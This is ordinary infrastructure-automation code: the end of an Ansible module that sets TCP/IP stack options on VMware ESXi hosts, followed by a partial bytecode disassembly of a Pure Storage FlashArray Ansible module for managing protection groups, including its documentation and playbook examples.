self.diff_config["before"]["vmotion"]["ipv6_gateway"] != self.vmotion["ipv6_gateway"] ): self.change_flag = True self.diff_config["after"]["vmotion"]["ipv6_gateway"] = self.vmotion[ "ipv6_gateway" ] if ( self.diff_config["before"]["vmotion"]["max_num_connections"] != self.vmotion["max_num_connections"] ): self.change_flag = True self.diff_config["after"]["vmotion"][ "max_num_connections" ] = self.vmotion["max_num_connections"] if ( self.diff_config["before"]["vmotion"]["congestion_algorithm"] != self.vmotion["congestion_algorithm"] ): self.change_flag = True self.diff_config["after"]["vmotion"][ "congestion_algorithm" ] = self.vmotion["congestion_algorithm"] if self.enabled_net_stack_instance["vxlan"]: for key in "before", "after": self.diff_config[key]["vxlan"] = dict( gateway=self.exist_net_stack_instance_config[ "vxlan" ].ipRouteConfig.defaultGateway, ipv6_gateway=self.exist_net_stack_instance_config[ "vxlan" ].ipRouteConfig.ipV6DefaultGateway, congestion_algorithm=self.exist_net_stack_instance_config[ "vxlan" ].congestionControlAlgorithm, max_num_connections=self.exist_net_stack_instance_config[ "vxlan" ].requestedMaxNumberOfConnections, ) if self.vxlan: if ( self.diff_config["before"]["vxlan"]["gateway"] != self.vxlan["gateway"] ): self.change_flag = True self.diff_config["after"]["vxlan"]["gateway"] = self.vxlan[ "gateway" ] if ( self.diff_config["before"]["vxlan"]["ipv6_gateway"] != self.vxlan["ipv6_gateway"] ): self.change_flag = True self.diff_config["after"]["vxlan"]["ipv6_gateway"] = self.vxlan[ "ipv6_gateway" ] if ( self.diff_config["before"]["vxlan"]["max_num_connections"] != self.vxlan["max_num_connections"] ): self.change_flag = True self.diff_config["after"]["vxlan"][ "max_num_connections" ] = self.vxlan["max_num_connections"] if ( self.diff_config["before"]["vxlan"]["congestion_algorithm"] != self.vxlan["congestion_algorithm"] ): self.change_flag = True self.diff_config["after"]["vxlan"][ "congestion_algorithm" ] = self.vxlan["congestion_algorithm"] def generate_net_stack_instance_config(self): """ Generate a new configuration for tcpip stack to modify the configuration. """ self.new_net_stack_instance_configs = vim.host.NetworkConfig() self.new_net_stack_instance_configs.netStackSpec = [] if self.default and self.enabled_net_stack_instance["default"]: default_config = vim.host.NetworkConfig.NetStackSpec() default_config.operation = "edit" default_config.netStackInstance = vim.host.NetStackInstance() default_config.netStackInstance.key = self.net_stack_instance_keys[ "default" ] default_config.netStackInstance.ipRouteConfig = vim.host.IpRouteConfig() default_config.netStackInstance.ipRouteConfig.defaultGateway = self.default[ "gateway" ] default_config.netStackInstance.ipRouteConfig.ipV6DefaultGateway = ( self.default["ipv6_gateway"] ) default_config.netStackInstance.dnsConfig = vim.host.DnsConfig() default_config.netStackInstance.dnsConfig.hostName = self.default[ "hostname" ] default_config.netStackInstance.dnsConfig.domainName = self.default[ "domain" ] dns_servers = [] if self.default["preferred_dns"]: dns_servers.append(self.default["preferred_dns"]) if self.default["alternate_dns"]: dns_servers.append(self.default["alternate_dns"]) default_config.netStackInstance.dnsConfig.address = dns_servers default_config.netStackInstance.dnsConfig.searchDomain = self.default[ "search_domains" ] default_config.netStackInstance.congestionControlAlgorithm = self.default[ "congestion_algorithm" ] default_config.netStackInstance.requestedMaxNumberOfConnections = ( self.default["max_num_connections"] ) self.new_net_stack_instance_configs.netStackSpec.append(default_config) if self.provisioning and self.enabled_net_stack_instance["provisioning"]: provisioning_config = vim.host.NetworkConfig.NetStackSpec() provisioning_config.operation = "edit" provisioning_config.netStackInstance = vim.host.NetStackInstance() provisioning_config.netStackInstance.key = self.net_stack_instance_keys[ "provisioning" ] provisioning_config.netStackInstance.ipRouteConfig = ( vim.host.IpRouteConfig() ) provisioning_config.netStackInstance.ipRouteConfig.defaultGateway = ( self.provisioning["gateway"] ) provisioning_config.netStackInstance.ipRouteConfig.ipV6DefaultGateway = ( self.provisioning["ipv6_gateway"] ) provisioning_config.netStackInstance.congestionControlAlgorithm = ( self.provisioning["congestion_algorithm"] ) provisioning_config.netStackInstance.requestedMaxNumberOfConnections = ( self.provisioning["max_num_connections"] ) self.new_net_stack_instance_configs.netStackSpec.append(provisioning_config) if self.vmotion and self.enabled_net_stack_instance["vmotion"]: vmotion_config = vim.host.NetworkConfig.NetStackSpec() vmotion_config.operation = "edit" vmotion_config.netStackInstance = vim.host.NetStackInstance() vmotion_config.netStackInstance.key = self.net_stack_instance_keys[ "vmotion" ] vmotion_config.netStackInstance.ipRouteConfig = vim.host.IpRouteConfig() vmotion_config.netStackInstance.ipRouteConfig.defaultGateway = self.vmotion[ "gateway" ] vmotion_config.netStackInstance.ipRouteConfig.ipV6DefaultGateway = ( self.vmotion["ipv6_gateway"] ) vmotion_config.netStackInstance.congestionControlAlgorithm = self.vmotion[ "congestion_algorithm" ] vmotion_config.netStackInstance.requestedMaxNumberOfConnections = ( self.vmotion["max_num_connections"] ) self.new_net_stack_instance_configs.netStackSpec.append(vmotion_config) if self.vxlan and self.enabled_net_stack_instance["vxlan"]: vxlan_config = vim.host.NetworkConfig.NetStackSpec() vxlan_config.operation = "edit" vxlan_config.netStackInstance = vim.host.NetStackInstance() vxlan_config.netStackInstance.key = self.net_stack_instance_keys["vxlan"] vxlan_config.netStackInstance.ipRouteConfig = vim.host.IpRouteConfig() vxlan_config.netStackInstance.ipRouteConfig.defaultGateway = self.vxlan[ "gateway" ] vxlan_config.netStackInstance.ipRouteConfig.ipV6DefaultGateway = self.vxlan[ "ipv6_gateway" ] vxlan_config.netStackInstance.congestionControlAlgorithm = self.vxlan[ "congestion_algorithm" ] vxlan_config.netStackInstance.requestedMaxNumberOfConnections = self.vxlan[ "max_num_connections" ] self.new_net_stack_instance_configs.netStackSpec.append(vxlan_config) def execute(self): self.host_obj = self.find_hostsystem_by_name(self.esxi_hostname) if self.host_obj is None: self.module.fail_json( msg="Cannot find the specified ESXi host: %s" % self.params["esxi_hostname"] ) self.check_enabled_net_stack_instance() self.get_net_stack_instance_config() self.diff_net_stack_instance_config() if self.change_flag: if self.module.check_mode is False: self.generate_net_stack_instance_config() try: self.host_obj.configManager.networkSystem.UpdateNetworkConfig( self.new_net_stack_instance_configs, "modify" ) except vim.fault.PlatformConfigFault as e: self.module.fail_json( msg="cannot modify tcpip stack config: %s" % to_text(e.faultMessage[0].message) ) except Exception as e: self.module.fail_json( msg="cannot modify tcpip stack config: %s" % to_text(e.msg) ) for key, value in self.enabled_net_stack_instance.items(): if self.params[key] and value is False: self.module.warn( "%s isn't supported in %s" % (key, self.params["esxi_hostname"]) ) result = dict( changed=self.change_flag, diff=dict( before=OrderedDict(sorted(self.diff_config["before"].items())), after=OrderedDict(sorted(self.diff_config["after"].items())), ), ) for key, value in self.enabled_net_stack_instance.items(): if value: result[key] = self.diff_config["after"][key] else: result[key] = {} self.module.exit_json(**result) def main(): argument_spec = vmware_argument_spec() argument_spec.update( esxi_hostname=dict(type="str", required=True), default=dict( type="dict", options=dict( hostname=dict(type="str", required=True), domain=dict(type="str", required=True), preferred_dns=dict(type="str"), alternate_dns=dict(type="str"), search_domains=dict(type="list", elements="str", default=[]), gateway=dict(type="str"), ipv6_gateway=dict(type="str"), congestion_algorithm=dict( type="str", choices=["newreno", "cubic"], default="newreno" ), max_num_connections=dict(type="int", default=11000), ), ), provisioning=dict( type="dict", options=dict( gateway=dict(type="str"), ipv6_gateway=dict(type="str"), congestion_algorithm=dict( type="str", choices=["newreno", "cubic"], default="newreno" ), max_num_connections=dict(type="int", default=11000), ), ), vmotion=dict( type="dict", options=dict( gateway=dict(type="str"), ipv6_gateway=dict(type="str"), congestion_algorithm=dict( type="str", choices=["newreno", "cubic"], default="newreno" ), max_num_connections=dict(type="int", default=11000), ), ), vxlan=dict( type="dict", aliases=["nsx_overlay"], options=dict( gateway=dict(type="str"), ipv6_gateway=dict(type="str"), congestion_algorithm=dict( type="str", choices=["newreno", "cubic"], default="newreno" ), max_num_connections=dict(type="int", default=11000), ), ), ) module = AnsibleModule(argument_spec=argument_spec, supports_check_mode=True) vmware_host_tcpip_stack = VmwareHostTcpipStack(module) vmware_host_tcpip_stack.execute() if __name__ == "__main__": main()
data/ansible-9.2.0/ansible_collections/community/vmware/plugins/modules/vmware_host_tcpip_stacks.py
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LOAD_CONST 0 LOAD_CONST ('absolute_import', 'division', 'print_function') IMPORT_NAME __future__ IMPORT_FROM absolute_import STORE_NAME absolute_import IMPORT_FROM division STORE_NAME division IMPORT_FROM print_function STORE_NAME print_function POP_TOP LOAD_NAME type STORE_NAME __metaclass__ LOAD_CONST '1.1' LOAD_CONST 'preview' BUILD_LIST LOAD_CONST 'community' LOAD_CONST ('metadata_version', 'status', 'supported_by') BUILD_CONST_KEY_MAP STORE_NAME ANSIBLE_METADATA LOAD_CONST "\n---\nmodule: purefa_pg\nversion_added: '1.0.0'\nshort_description: Manage protection groups on Pure Storage FlashArrays\ndescription:\n- Create, delete or modify protection groups on Pure Storage FlashArrays.\n- If a protection group exists and you try to add non-valid types, eg. a host\n to a volume protection group the module will ignore the invalid types.\n- Protection Groups on Offload targets are supported.\nauthor:\n- Pure Storage Ansible Team (@sdodsley) <[email protected]>\noptions:\n name:\n description:\n - The name of the protection group.\n type: str\n aliases: [ pgroup ]\n required: true\n state:\n description:\n - Define whether the protection group should exist or not.\n type: str\n default: present\n choices: [ absent, present ]\n volume:\n description:\n - List of existing volumes to add to protection group.\n - Note that volume are case-sensitive however FlashArray volume names are unique\n and ignore case - you cannot have I(volumea) and I(volumeA)\n type: list\n elements: str\n host:\n description:\n - List of existing hosts to add to protection group.\n - Note that hostnames are case-sensitive however FlashArray hostnames are unique\n and ignore case - you cannot have I(hosta) and I(hostA)\n type: list\n elements: str\n hostgroup:\n description:\n - List of existing hostgroups to add to protection group.\n - Note that hostgroups are case-sensitive however FlashArray hostgroup names are unique\n and ignore case - you cannot have I(groupa) and I(groupA)\n type: list\n elements: str\n eradicate:\n description:\n - Define whether to eradicate the protection group on delete and leave in trash.\n type : bool\n default: false\n enabled:\n description:\n - Define whether to enabled snapshots for the protection group.\n type : bool\n default: true\n target:\n description:\n - List of remote arrays or offload target for replication protection group\n to connect to.\n - Note that all replicated protection groups are asynchronous.\n - Target arrays or offload targets must already be connected to the source array.\n - Maximum number of targets per Portection Group is 4, assuming your\n configuration suppors this.\n type: list\n elements: str\n rename:\n description:\n - Rename a protection group\n - If the source protection group is in a Pod or Volume Group 'container'\n you only need to provide the new protection group name in the same 'container'\n type: str\n safe_mode:\n description:\n - Enables SafeMode restrictions on the protection group\n - B(Once set disabling this can only be performed by Pure Technical Support)\n type: bool\n default: false\n version_added: '1.13.0'\nextends_documentation_fragment:\n- purestorage.flasharray.purestorage.fa\n" STORE_NAME DOCUMENTATION LOAD_CONST '\n- name: Create new local protection group\n purestorage.flasharray.purefa_pg:\n name: foo\n fa_url: 10.10.10.2\n api_token: e31060a7-21fc-e277-6240-25983c6c4592\n\n- name: Create new protection group called bar in pod called foo\n purestorage.flasharray.purefa_pg:\n name: "foo::bar"\n fa_url: 10.10.10.2\n api_token: e31060a7-21fc-e277-6240-25983c6c4592\n\n- name: Create new replicated protection group\n purestorage.flasharray.purefa_pg:\n name: foo\n target:\n - arrayb\n - arrayc\n fa_url: 10.10.10.2\n api_token: e31060a7-21fc-e277-6240-25983c6c4592\n\n- name: Create new replicated protection group to offload target and remote array\n purestorage.flasharray.purefa_pg:\n name: foo\n target:\n - offload\n - arrayc\n fa_url: 10.10.10.2\n api_token: e31060a7-21fc-e277-6240-25983c6c4592\n\n- name: Create new protection group with snapshots disabled\n purestorage.flasharray.purefa_pg:\n name: foo\n enabled: false\n fa_url: 10.10.10.2\n api_token: e31060a7-21fc-e277-6240-25983c6c4592\n\n- name: Delete protection group\n purestorage.flasharray.purefa_pg:\n name: foo\n eradicate: true\n fa_url: 10.10.10.2\n api_token: e31060a7-21fc-e277-6240-25983c6c4592\n state: absent\n\n- name: Eradicate protection group foo on offload target where source array is arrayA\n purestorage.flasharray.purefa_pg:\n name: "arrayA:foo"\n target: offload\n eradicate: true\n fa_url: 10.10.10.2\n api_token: e31060a7-21fc-e277-6240-25983c6c4592\n state: absent\n\n- name: Rename protection group foo in pod arrayA to bar\n purestorage.flasharray.purefa_pg:\n name: "arrayA::foo"\n rename: bar\n fa_url: 10.10.10.2\n api_token: e31060a7-21fc-e277-6240-25983c6c4592\n\n- name: Create protection group for hostgroups\n purestorage.flasharray.purefa_pg:\n name: bar\n hostgroup:\n - hg1\n - hg2\n fa_url: 10.10.10.2\n api_token: e31060a7-21fc-e277-6240-25983c6c4592\n\n- name: Create protection group for hosts\n purestorage.flasharray.purefa_pg:\n name: bar\n host:\n - host1\n - host2\n fa_url: 10.10.10.2\n api_token: e31060a7-21fc-e277-6240-25983c6c4592\n\n- name: Create replicated protection group for volumes\n purestorage.flasharray.purefa_pg:\n name: bar\n volume:\n - vol1\n - vol2\n target: arrayb\n fa_url: 10.10.10.2\n api_token: e31060a7-21fc-e277-6240-25983c6c4592\n' STORE_NAME EXAMPLES LOAD_CONST '\n' STORE_NAME RETURN LOAD_CONST 0 LOAD_CONST None IMPORT_NAME re STORE_NAME re LOAD_CONST 0 LOAD_CONST ('AnsibleModule',) IMPORT_NAME ansible.module_utils.basic IMPORT_FROM AnsibleModule STORE_NAME AnsibleModule POP_TOP LOAD_CONST 0 LOAD_CONST ('get_system', 'get_array', 'purefa_argument_spec') IMPORT_NAME ansible_collections.purestorage.flasharray.plugins.module_utils.purefa IMPORT_FROM get_system STORE_NAME get_system IMPORT_FROM get_array STORE_NAME get_array IMPORT_FROM purefa_argument_spec STORE_NAME purefa_argument_spec POP_TOP LOAD_CONST True STORE_NAME HAS_PURESTORAGE SETUP_EXCEPT to 112 LOAD_CONST 0 LOAD_CONST ('flasharray',) IMPORT_NAME pypureclient IMPORT_FROM flasharray STORE_NAME flasharray POP_TOP POP_BLOCK JUMP_FORWARD to 136 DUP_TOP LOAD_NAME ImportError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST False STORE_NAME HAS_PURESTORAGE POP_EXCEPT JUMP_FORWARD to 136 END_FINALLY LOAD_CONST '1.16' STORE_NAME OFFLOAD_API_VERSION LOAD_CONST '1.17' STORE_NAME P53_API_VERSION LOAD_CONST '1.13' STORE_NAME AC_PG_API_VERSION LOAD_CONST '2.13' STORE_NAME RETENTION_LOCK_VERSION LOAD_CONST <code object get_pod at 0x7faac0322270, file "f.py", line 209> LOAD_CONST 'get_pod' MAKE_FUNCTION STORE_NAME get_pod LOAD_CONST <code object get_targets at 0x7faac03221e0, file "f.py", line 218> LOAD_CONST 'get_targets' MAKE_FUNCTION STORE_NAME get_targets LOAD_CONST <code object get_arrays at 0x7faac0322ed0, file "f.py", line 232> LOAD_CONST 'get_arrays' MAKE_FUNCTION STORE_NAME get_arrays LOAD_CONST <code object get_pending_pgroup at 0x7faac0322390, file "f.py", line 250> LOAD_CONST 'get_pending_pgroup' MAKE_FUNCTION STORE_NAME get_pending_pgroup LOAD_CONST <code object get_pgroup at 0x7faac0322150, file "f.py", line 279> LOAD_CONST 'get_pgroup' MAKE_FUNCTION STORE_NAME get_pgroup LOAD_CONST <code object get_pgroup_sched at 0x7faac03226f0, file "f.py", line 302> LOAD_CONST 'get_pgroup_sched' MAKE_FUNCTION STORE_NAME get_pgroup_sched LOAD_CONST <code object check_pg_on_offload at 0x7faa7c277b70, file "f.py", line 314> LOAD_CONST 'check_pg_on_offload' MAKE_FUNCTION STORE_NAME check_pg_on_offload LOAD_CONST <code object make_pgroup at 0x7faa7c277a50, file "f.py", line 327> LOAD_CONST 'make_pgroup' MAKE_FUNCTION STORE_NAME make_pgroup LOAD_CONST <code object rename_exists at 0x7faa7c277660, file "f.py", line 433> LOAD_CONST 'rename_exists' MAKE_FUNCTION STORE_NAME rename_exists LOAD_CONST <code object update_pgroup at 0x7faa7c277780, file "f.py", line 449> LOAD_CONST 'update_pgroup' MAKE_FUNCTION STORE_NAME update_pgroup LOAD_CONST <code object eradicate_pgroup at 0x7faa7c277db0, file "f.py", line 681> LOAD_CONST 'eradicate_pgroup' MAKE_FUNCTION STORE_NAME eradicate_pgroup LOAD_CONST <code object delete_pgroup at 0x7faa7c277e40, file "f.py", line 717> LOAD_CONST 'delete_pgroup' MAKE_FUNCTION STORE_NAME delete_pgroup LOAD_CONST <code object recover_pgroup at 0x7faa7c277d20, file "f.py", line 750> LOAD_CONST 'recover_pgroup' MAKE_FUNCTION STORE_NAME recover_pgroup LOAD_CONST <code object main at 0x7faa7c2774b0, file "f.py", line 780> LOAD_CONST 'main' MAKE_FUNCTION STORE_NAME main LOAD_NAME __name__ LOAD_CONST '__main__' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME main CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_METHOD split LOAD_CONST '::' CALL_METHOD LOAD_CONST 0 BINARY_SUBSCR STORE_FAST pod_name SETUP_EXCEPT to 34 LOAD_FAST array LOAD_ATTR get_pod LOAD_FAST pod_name LOAD_CONST ('pod',) CALL_FUNCTION RETURN_VALUE DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST None RETURN_VALUE END_FINALLY LOAD_CONST None RETURN_VALUE BUILD_LIST STORE_FAST targets SETUP_EXCEPT to 18 LOAD_FAST array LOAD_METHOD list_offload CALL_METHOD STORE_FAST target_details POP_BLOCK JUMP_FORWARD to 38 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST None RETURN_VALUE END_FINALLY SETUP_LOOP to 96 LOAD_GLOBAL range LOAD_CONST 0 LOAD_GLOBAL len LOAD_FAST target_details CALL_FUNCTION CALL_FUNCTION GET_ITER FOR_ITER to 94 STORE_FAST targetcnt LOAD_FAST target_details LOAD_FAST targetcnt BINARY_SUBSCR LOAD_CONST 'status' BINARY_SUBSCR LOAD_CONST ('connected', 'partially_connected') COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST targets LOAD_METHOD append LOAD_FAST target_details LOAD_FAST targetcnt BINARY_SUBSCR LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST targets RETURN_VALUE BUILD_LIST STORE_FAST arrays LOAD_FAST array LOAD_METHOD list_array_connections CALL_METHOD STORE_FAST array_details LOAD_FAST array LOAD_METHOD _list_available_rest_versions CALL_METHOD STORE_FAST api_version SETUP_LOOP to 118 LOAD_GLOBAL range LOAD_CONST 0 LOAD_GLOBAL len LOAD_FAST array_details CALL_FUNCTION CALL_FUNCTION GET_ITER FOR_ITER to 116 STORE_FAST arraycnt LOAD_GLOBAL P53_API_VERSION LOAD_FAST api_version COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST array_details LOAD_FAST arraycnt BINARY_SUBSCR LOAD_CONST 'status' BINARY_SUBSCR LOAD_CONST ('connected', 'partially_connected') COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST arrays LOAD_METHOD append LOAD_FAST array_details LOAD_FAST arraycnt BINARY_SUBSCR LOAD_CONST 'array_name' BINARY_SUBSCR CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_FAST array_details LOAD_FAST arraycnt BINARY_SUBSCR LOAD_CONST 'connected' BINARY_SUBSCR POP_JUMP_IF_FALSE LOAD_FAST arrays LOAD_METHOD append LOAD_FAST array_details LOAD_FAST arraycnt BINARY_SUBSCR LOAD_CONST 'array_name' BINARY_SUBSCR CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST arrays RETURN_VALUE LOAD_CONST None STORE_FAST pgroup LOAD_CONST ':' LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST '::' LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR COMPARE_OP not in POP_JUMP_IF_FALSE SETUP_LOOP to 152 LOAD_FAST array LOAD_ATTR list_pgroups LOAD_CONST True LOAD_CONST '*' LOAD_CONST ('pending', 'on') CALL_FUNCTION GET_ITER FOR_ITER to 86 STORE_FAST pgrp LOAD_FAST pgrp LOAD_CONST 'name' BINARY_SUBSCR LOAD_METHOD casefold CALL_METHOD LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_METHOD casefold CALL_METHOD COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST pgrp STORE_FAST pgroup BREAK_LOOP JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE SETUP_LOOP to 216 LOAD_FAST array LOAD_ATTR list_pgroups LOAD_CONST True LOAD_CONST ('pending',) CALL_FUNCTION GET_ITER FOR_ITER to 150 STORE_FAST pgrp LOAD_FAST pgrp LOAD_CONST 'name' BINARY_SUBSCR LOAD_METHOD casefold CALL_METHOD LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_METHOD casefold CALL_METHOD COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST pgrp LOAD_CONST 'time_remaining' BINARY_SUBSCR POP_JUMP_IF_FALSE LOAD_FAST pgrp STORE_FAST pgroup BREAK_LOOP JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 216 SETUP_LOOP to 216 LOAD_FAST array LOAD_ATTR list_pgroups LOAD_CONST True LOAD_CONST ('pending',) CALL_FUNCTION GET_ITER FOR_ITER to 214 STORE_FAST pgrp LOAD_FAST pgrp LOAD_CONST 'name' BINARY_SUBSCR LOAD_METHOD casefold CALL_METHOD LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_METHOD casefold CALL_METHOD COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST pgrp LOAD_CONST 'time_remaining' BINARY_SUBSCR POP_JUMP_IF_FALSE LOAD_FAST pgrp STORE_FAST pgroup BREAK_LOOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST pgroup RETURN_VALUE LOAD_CONST None STORE_FAST pgroup LOAD_CONST ':' LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST '::' LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR COMPARE_OP not in POP_JUMP_IF_FALSE SETUP_LOOP to 138 LOAD_FAST array LOAD_ATTR list_pgroups LOAD_CONST '*' LOAD_CONST ('on',) CALL_FUNCTION GET_ITER FOR_ITER to 84 STORE_FAST pgrp LOAD_FAST pgrp LOAD_CONST 'name' BINARY_SUBSCR LOAD_METHOD casefold CALL_METHOD LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_METHOD casefold CALL_METHOD COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST pgrp STORE_FAST pgroup BREAK_LOOP JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE SETUP_LOOP to 190 LOAD_FAST array LOAD_METHOD list_pgroups CALL_METHOD GET_ITER FOR_ITER to 136 STORE_FAST pgrp LOAD_FAST pgrp LOAD_CONST 'name' BINARY_SUBSCR LOAD_METHOD casefold CALL_METHOD LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_METHOD casefold CALL_METHOD COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST pgrp STORE_FAST pgroup BREAK_LOOP JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 190 SETUP_LOOP to 190 LOAD_FAST array LOAD_METHOD list_pgroups CALL_METHOD GET_ITER FOR_ITER to 188 STORE_FAST pgrp LOAD_FAST pgrp LOAD_CONST 'name' BINARY_SUBSCR LOAD_METHOD casefold CALL_METHOD LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_METHOD casefold CALL_METHOD COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST pgrp STORE_FAST pgroup BREAK_LOOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST pgroup RETURN_VALUE LOAD_CONST None STORE_FAST pgroup SETUP_LOOP to 58 LOAD_FAST array LOAD_ATTR list_pgroups LOAD_CONST True LOAD_CONST ('schedule',) CALL_FUNCTION GET_ITER FOR_ITER to 56 STORE_FAST pgrp LOAD_FAST pgrp LOAD_CONST 'name' BINARY_SUBSCR LOAD_METHOD casefold CALL_METHOD LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_METHOD casefold CALL_METHOD COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST pgrp STORE_FAST pgroup BREAK_LOOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST pgroup RETURN_VALUE LOAD_FAST array LOAD_METHOD get CALL_METHOD LOAD_CONST 'array_name' BINARY_SUBSCR STORE_FAST array_name LOAD_FAST array_name LOAD_CONST ':' BINARY_ADD LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR BINARY_ADD STORE_FAST remote_pg LOAD_GLOBAL get_targets LOAD_FAST array CALL_FUNCTION STORE_FAST targets SETUP_LOOP to 110 LOAD_FAST targets GET_ITER FOR_ITER to 108 STORE_FAST target LOAD_FAST array LOAD_ATTR list_pgroups LOAD_CONST True LOAD_FAST target LOAD_CONST ('pending', 'on') CALL_FUNCTION STORE_FAST remote_pgs SETUP_LOOP to 106 LOAD_GLOBAL range LOAD_CONST 0 LOAD_GLOBAL len LOAD_FAST remote_pgs CALL_FUNCTION CALL_FUNCTION GET_ITER FOR_ITER to 104 STORE_FAST rpg LOAD_FAST remote_pg LOAD_FAST remote_pgs LOAD_FAST rpg BINARY_SUBSCR LOAD_CONST 'name' BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST target RETURN_VALUE JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_CONST True STORE_FAST changed LOAD_FAST module LOAD_ATTR params LOAD_CONST 'target' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST array LOAD_METHOD _list_available_rest_versions CALL_METHOD STORE_FAST api_version BUILD_LIST STORE_FAST connected_targets LOAD_GLOBAL get_arrays LOAD_FAST array CALL_FUNCTION STORE_FAST connected_arrays LOAD_GLOBAL OFFLOAD_API_VERSION LOAD_FAST api_version COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL get_targets LOAD_FAST array CALL_FUNCTION STORE_FAST connected_targets LOAD_GLOBAL check_pg_on_offload LOAD_FAST module LOAD_FAST array CALL_FUNCTION STORE_FAST offload_name LOAD_FAST offload_name POP_JUMP_IF_FALSE LOAD_FAST offload_name LOAD_FAST module LOAD_ATTR params LOAD_CONST 'target' BINARY_SUBSCR LOAD_CONST 0 LOAD_CONST 4 BUILD_SLICE BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Protection Group {0} already exists on offload target {1}.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_FAST offload_name CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP LOAD_FAST connected_arrays LOAD_FAST connected_targets BINARY_ADD STORE_FAST connected_arrays LOAD_FAST connected_arrays BUILD_LIST COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'No connected targets on source array.' LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP LOAD_GLOBAL set LOAD_FAST module LOAD_ATTR params LOAD_CONST 'target' BINARY_SUBSCR LOAD_CONST 0 LOAD_CONST 4 BUILD_SLICE BINARY_SUBSCR CALL_FUNCTION LOAD_METHOD issubset LOAD_FAST connected_arrays CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR check_mode EXTENDED_ARG POP_JUMP_IF_TRUE SETUP_EXCEPT to 220 LOAD_FAST array LOAD_ATTR create_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_FAST module LOAD_ATTR params LOAD_CONST 'target' BINARY_SUBSCR LOAD_CONST 0 LOAD_CONST 4 BUILD_SLICE BINARY_SUBSCR LOAD_CONST ('targetlist',) CALL_FUNCTION POP_TOP POP_BLOCK JUMP_FORWARD to 282 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Creation of replicated pgroup {0} failed. {1}' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_FAST module LOAD_ATTR params LOAD_CONST 'target' BINARY_SUBSCR LOAD_CONST 0 LOAD_CONST 4 BUILD_SLICE BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 282 END_FINALLY JUMP_FORWARD to 296 LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Check all selected targets are connected to the source array.' LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP JUMP_FORWARD to 374 LOAD_FAST module LOAD_ATTR check_mode EXTENDED_ARG POP_JUMP_IF_TRUE SETUP_EXCEPT to 328 LOAD_FAST array LOAD_METHOD create_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' 